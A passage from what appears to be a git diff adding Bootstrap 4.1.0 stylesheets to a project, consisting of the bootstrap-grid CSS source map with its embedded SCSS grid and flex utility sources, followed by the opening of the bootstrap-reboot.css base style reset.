!important;\n flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n}\n\n.justify-content-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n}\n\n.justify-content-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n}\n\n.justify-content-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n}\n\n.justify-content-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n}\n\n.align-items-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n}\n\n.align-items-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n}\n\n.align-items-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n}\n\n.align-items-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n}\n\n.align-items-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n}\n\n.align-content-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n}\n\n.align-content-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n}\n\n.align-content-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n}\n\n.align-content-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n}\n\n.align-content-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n}\n\n.align-content-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n}\n\n.align-self-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n}\n\n.align-self-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n}\n\n.align-self-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n}\n\n.align-self-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n}\n\n.align-self-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n}\n\n.align-self-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n .flex-sm-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-sm-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-sm-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-sm-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-sm-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-sm-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-sm-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-sm-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-sm-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-sm-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-sm-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-sm-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-sm-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-sm-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-sm-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-sm-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-sm-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-sm-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-sm-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-sm-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-sm-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-sm-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-sm-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-sm-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-sm-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-sm-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-sm-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-sm-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-sm-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-sm-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-sm-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-sm-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-sm-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-sm-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 768px) {\n .flex-md-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-md-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-md-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-md-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-md-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-md-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-md-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-md-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-md-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-md-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-md-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-md-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-md-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-md-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-md-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-md-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-md-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-md-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-md-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-md-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-md-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-md-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-md-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-md-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-md-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-md-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-md-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-md-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-md-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-md-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-md-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-md-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-md-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-md-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 992px) {\n .flex-lg-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-lg-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-lg-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-lg-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-lg-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-lg-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-lg-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-lg-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-lg-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-lg-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-lg-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-lg-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-lg-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-lg-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-lg-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-lg-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-lg-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-lg-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-lg-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-lg-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-lg-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-lg-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-lg-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-lg-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-lg-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-lg-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-lg-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-lg-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-lg-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-lg-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-lg-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-lg-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-lg-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-lg-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 1200px) {\n .flex-xl-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-xl-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-xl-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-xl-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-xl-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-xl-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-xl-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-xl-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-xl-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-xl-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-xl-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-xl-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-xl-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-xl-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-xl-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-xl-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-xl-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-xl-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-xl-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-xl-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-xl-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-xl-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-xl-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-xl-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-xl-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-xl-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-xl-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-xl-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-xl-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-xl-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-xl-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-xl-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-xl-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-xl-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n/*# sourceMappingURL=bootstrap-grid.css.map */","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n .container {\n @include make-container();\n @include make-container-max-widths();\n }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n .container-fluid {\n @include make-container();\n }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n .row {\n @include make-row();\n }\n\n // Remove the negative margin from default .row, then the horizontal padding\n // from all immediate children columns (to prevent runaway style inheritance).\n .no-gutters {\n margin-right: 0;\n margin-left: 0;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n }\n }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n width: 100%;\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n margin-right: auto;\n margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n @each $breakpoint, $container-max-width in $max-widths {\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n max-width: $container-max-width;\n }\n }\n}\n\n@mixin make-row() {\n display: flex;\n flex-wrap: wrap;\n margin-right: ($grid-gutter-width / -2);\n margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n position: relative;\n // Prevent columns from becoming too narrow when at smaller grid tiers by\n // always setting `width: 100%;`. This works because we use `flex` values\n // later on to override this initial width.\n width: 100%;\n min-height: 1px; // Prevent collapsing\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n flex: 0 0 percentage($size / $columns);\n // Add a `max-width` to ensure content within each column does not blow out\n // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n // do not appear to require this.\n max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n $num: $size / $columns;\n margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n// (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n// >> breakpoint-next(sm)\n// md\n// >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// md\n// >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n// md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n $n: index($breakpoint-names, $name);\n @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n// >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n $min: map-get($breakpoints, $name);\n @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n// >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n $next: breakpoint-next($name, $breakpoints);\n @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n// >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"\" (Returns a blank string)\n// >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n @if $min {\n @media (min-width: $min) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n $max: breakpoint-max($name, $breakpoints);\n @if $max {\n @media (max-width: $max) {\n @content;\n }\n } @else {\n @content;\n }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($lower, $breakpoints);\n $max: breakpoint-max($upper, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($lower, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($upper, $breakpoints) {\n @content;\n }\n }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n $min: breakpoint-min($name, $breakpoints);\n $max: breakpoint-max($name, $breakpoints);\n\n @if $min != null and $max != null {\n @media (min-width: $min) and (max-width: $max) {\n @content;\n }\n } @else if $max == null {\n @include media-breakpoint-up($name, $breakpoints) {\n @content;\n }\n } @else if $min == null {\n @include media-breakpoint-down($name, $breakpoints) {\n @content;\n }\n }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n // Common properties for all breakpoints\n %grid-column {\n position: relative;\n width: 100%;\n min-height: 1px; // Prevent columns from collapsing when empty\n padding-right: ($gutter / 2);\n padding-left: ($gutter / 2);\n }\n\n @each $breakpoint in map-keys($breakpoints) {\n $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n // Allow columns to stretch full width below their breakpoints\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @extend %grid-column;\n }\n }\n .col#{$infix},\n .col#{$infix}-auto {\n @extend %grid-column;\n }\n\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n .col#{$infix} {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col#{$infix}-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none; // Reset earlier grid tiers\n }\n\n @for $i from 1 through $columns {\n .col#{$infix}-#{$i} {\n @include make-col($i, $columns);\n }\n }\n\n .order#{$infix}-first { order: -1; }\n\n .order#{$infix}-last { order: $columns + 1; }\n\n @for $i from 0 through $columns {\n .order#{$infix}-#{$i} { order: $i; }\n }\n\n // `$columns - 1` because offsetting by the width of an entire row isn't possible\n @for $i from 0 through ($columns - 1) {\n @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n .offset#{$infix}-#{$i} {\n @include make-col-offset($i, $columns);\n }\n }\n }\n }\n }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .d#{$infix}-none { display: none !important; }\n .d#{$infix}-inline { display: inline !important; }\n .d#{$infix}-inline-block { display: inline-block !important; }\n .d#{$infix}-block { display: block !important; }\n .d#{$infix}-table { display: table !important; }\n .d#{$infix}-table-row { display: table-row !important; }\n .d#{$infix}-table-cell { display: table-cell !important; }\n .d#{$infix}-flex { display: flex !important; }\n .d#{$infix}-inline-flex { display: inline-flex !important; }\n }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n .d-print-none { display: none !important; }\n .d-print-inline { display: inline !important; }\n .d-print-inline-block { display: inline-block !important; }\n .d-print-block { display: block !important; }\n .d-print-table { display: table !important; }\n .d-print-table-row { display: table-row !important; }\n .d-print-table-cell { display: table-cell !important; }\n .d-print-flex { display: flex !important; }\n .d-print-inline-flex { display: inline-flex !important; }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n @include media-breakpoint-up($breakpoint) {\n $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n .flex#{$infix}-row { flex-direction: row !important; }\n .flex#{$infix}-column { flex-direction: column !important; }\n .flex#{$infix}-row-reverse { flex-direction: row-reverse !important; }\n .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n .flex#{$infix}-wrap { flex-wrap: wrap !important; }\n .flex#{$infix}-nowrap { flex-wrap: nowrap !important; }\n .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n .flex#{$infix}-fill { flex: 1 1 auto !important; }\n .flex#{$infix}-grow-0 { flex-grow: 0 !important; }\n .flex#{$infix}-grow-1 { flex-grow: 1 !important; }\n .flex#{$infix}-shrink-0 { flex-shrink: 0 !important; }\n .flex#{$infix}-shrink-1 { flex-shrink: 1 !important; }\n\n .justify-content#{$infix}-start { justify-content: flex-start !important; }\n .justify-content#{$infix}-end { justify-content: flex-end !important; }\n .justify-content#{$infix}-center { justify-content: center !important; }\n .justify-content#{$infix}-between { justify-content: space-between !important; }\n .justify-content#{$infix}-around { justify-content: space-around !important; }\n\n .align-items#{$infix}-start { align-items: flex-start !important; }\n .align-items#{$infix}-end { align-items: flex-end !important; }\n .align-items#{$infix}-center { align-items: center !important; }\n .align-items#{$infix}-baseline { align-items: baseline !important; }\n .align-items#{$infix}-stretch { align-items: stretch !important; }\n\n .align-content#{$infix}-start { align-content: flex-start !important; }\n .align-content#{$infix}-end { align-content: flex-end !important; }\n .align-content#{$infix}-center { align-content: center !important; }\n .align-content#{$infix}-between { align-content: space-between !important; }\n .align-content#{$infix}-around { align-content: space-around !important; }\n .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n .align-self#{$infix}-auto { align-self: auto !important; }\n .align-self#{$infix}-start { align-self: flex-start !important; }\n .align-self#{$infix}-end { align-self: flex-end !important; }\n .align-self#{$infix}-center { align-self: center !important; }\n .align-self#{$infix}-baseline { align-self: baseline !important; }\n .align-self#{$infix}-stretch { align-self: stretch !important; }\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/bootstrap-reboot.css b/public/css/bootstrap-reboot.css new file mode 100644 index 0000000..9f0f40f --- /dev/null +++ b/public/css/bootstrap-reboot.css @@ -0,0 +1,330 @@ +/*! + * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md) + */ +*, +*::before, +*::after { + box-sizing: border-box; +} + +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + -ms-overflow-style: scrollbar; + -webkit-tap-highlight-color: transparent; +} + +@-ms-viewport { + width: device-width; +} + +article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section { + display: block; +} + +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #212529; + text-align: left; + background-color: #fff; +} + +[tabindex="-1"]:focus { + outline: 0 !important; +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible; +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0; + margin-bottom: 0.5rem; +} + +p { + margin-top: 0; + margin-bottom: 1rem; +} + +abbr[title], +abbr[data-original-title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0; +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit; +} + +ol, +ul, +dl { + margin-top: 0; + margin-bottom: 1rem; +} + +ol ol, +ul ul, +ol ul, +ul ol { + margin-bottom: 0; +} + +dt { + font-weight: 700; +} + +dd { + margin-bottom: .5rem; + margin-left: 0; +} + +blockquote { + margin: 0 0 1rem; +} + +dfn { + font-style: italic; +} + +b, +strong { + font-weight: bolder; +} + +small { + font-size: 80%; +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} + +sub { + bottom: -.25em; +} + +sup { + top: -.5em; +} + +a { + color: #007bff; + text-decoration: none; + background-color: transparent; + -webkit-text-decoration-skip: objects; +} + +a:hover { + color: #0056b3; + text-decoration: underline; +} + +a:not([href]):not([tabindex]) { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { + color: inherit; + text-decoration: none; +} + +a:not([href]):not([tabindex]):focus { + outline: 0; +} + +pre, +code, +kbd, +samp { + font-family: monospace, monospace; + font-size: 1em; +} + +pre { + margin-top: 0; + margin-bottom: 1rem; + overflow: auto; + -ms-overflow-style: scrollbar; +} + +figure { + margin: 0 0 1rem; +} + +img { + vertical-align: middle; + border-style: none; +} + 